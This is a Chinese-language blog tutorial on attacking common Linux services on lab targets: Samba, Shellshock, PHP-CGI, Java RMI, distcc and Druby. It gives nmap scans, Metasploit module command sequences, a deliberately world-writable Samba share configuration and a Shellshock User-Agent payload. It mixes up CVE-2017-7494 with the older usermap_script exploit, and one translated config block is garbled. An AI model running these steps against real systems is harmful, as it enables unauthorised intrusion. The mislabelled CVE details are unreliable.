Fork me on GitHub

Linux常见漏洞

据我所知,Linux因为开源的原因,不论是性能还是安全都是足够强大的。这里就尽我所能写一下自己所知道的漏洞吧。

CVE-2017-7494 (linux samba漏洞,139和445端口)、 CVE-2014-6271(bash shellshock破壳)、PHP cgi、cve-2013-0422(Java RMI SERVER 命令执行漏洞与java,1099端口)、CVE-2004-2678、OSVDB-13378(Distcc后门漏洞)、Druby命令执行(8787端口)

samba漏洞

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等

1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:

nmap -sS -Pn -A 192.168.17.72

2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.

CVE2017-7494测试

漏洞编号:CVE-2017-7494 

漏洞等级:严重 

影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14

靶机samba漏洞配置

samba -v查看版本

vi /etc/samba/smb.conf

#======================= Share Definitions =======================

[public]              
   comment = public
   browseable = yes
   writeable =yes
   path = /tmp/public
   public = yes
   read only = no

(公用)

注释=公共

可浏览= yes

可写= yes

= / tmp /公共道路

公共= yes

只读=不

创建共享目录  
root@kali:~# mkdir /tmp/public 
修改读写执行权限  
root@kali:~# chmod 777 /tmp/public

Kali Linux 2017 重启/启动Samba服务

重启samba服务  
root@kali:~# /etc/init.d/samba restart 
查看samba进程  
root@kali:~# ps aux | grep samba 
查看samba端口状态(默认采用139和445端口)  
root@kali:~# netstat -tnlp samba

MSF渗透测试

1、打开metasploit之后需要先判断samba的版本,命令如下:

msf> search scanner/samba 

这条命令用来查找samba相关exploit参数

2、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。

msf> use auxiliary/scanner/smb/smb_version

msfauxiliary(smb_version) > set RHOSTS 192.168.0.102 
ps:poc可能会存在64位和32位之分,所以可以添加一下操作

set target 3

set rhosts rport139,445

ps:payload和端口其实已经自动设置

这条命令定义你将要扫描samba版本的远程主机的IP地址.

3、开始漏洞利用

exploit

该命令将开始漏洞利用

4、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机

msf> use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > set RHOST 192.168.0.102

msf exploit(usermap_script) > exploit

执行完成以上命令如图所示,成功创建了shell 会话.

 

metepreter渗透后操作

这里就不讲了,可查看msf篇

bash破壳漏洞

CVE-2014-6271(破壳)

 

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

 

简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

对方web站点使用了cgi的表现:www.xxx.com/cgi-xxx/xxx

起始,cgi的漏洞远不止此!

开始渗透测试

burpsuit漏洞验证

将user-agent头改为:() { :;};echo ; echo;echo $(/bin/ls -al /flag /);

kali系统漏洞验证

由于kali中的msf关于这个漏洞没做好,不太方便,就不演示了。

cd /usr/bin/

cd /usr/lib/cgi-bin/

vim hole.sh(编写脚本)

msf测试:

set TARGETURL 网站路径

CVE2012-1823(phpCGI漏洞)

phpinfo()查看:

 

 可以看出,系统中API开启了CGI/FastCGI。那么就有可能存在phpCGI漏洞了

开始kali攻击(照旧)

msf > search cve:2012-1823

msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) > show options

msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102

rhost => 192.168.0.102

msf exploit(php_cgi_arg_injection) > run

CVE2013-0422(Java RMI SERVER 命令执行漏洞与java)

 

Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行。

 

利用步骤:

 

nmap -p 0-65535 IP ,查看1099端口是否开启


use exploit/multi/misc/java_rmi_server


set RHOST IP


exploit


shell(进入meterpreter 时执行)

 

Distcc后门漏洞

 

安全组织索引:CVE-2004-2678、OSVDB-13378

该漏洞在国内不常见

 

原理:

 

Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置对于服务器端口的访问不限制

 

利用步骤:

 

启动metasploit


use exploit/unix/misc/distcc_exec


set RHOST IP


exploit


id 查看权限 uname -a 验证

Druby命令执行(8787)

Druby配置不当,被滥用执行命令

利用步骤:

启动metasploit

发现8787 Druby端口

search drb 搜索drb相关漏洞

use exploit/linux/misc/drb_remote_codeexec

set URL druby:IP:8787 ,设置目标druby链接

exploit

id,uname -a

 

 

 

posted @ 2020-10-21 15:36  子墨·咖啡  阅读(5763)  评论(0编辑  收藏  举报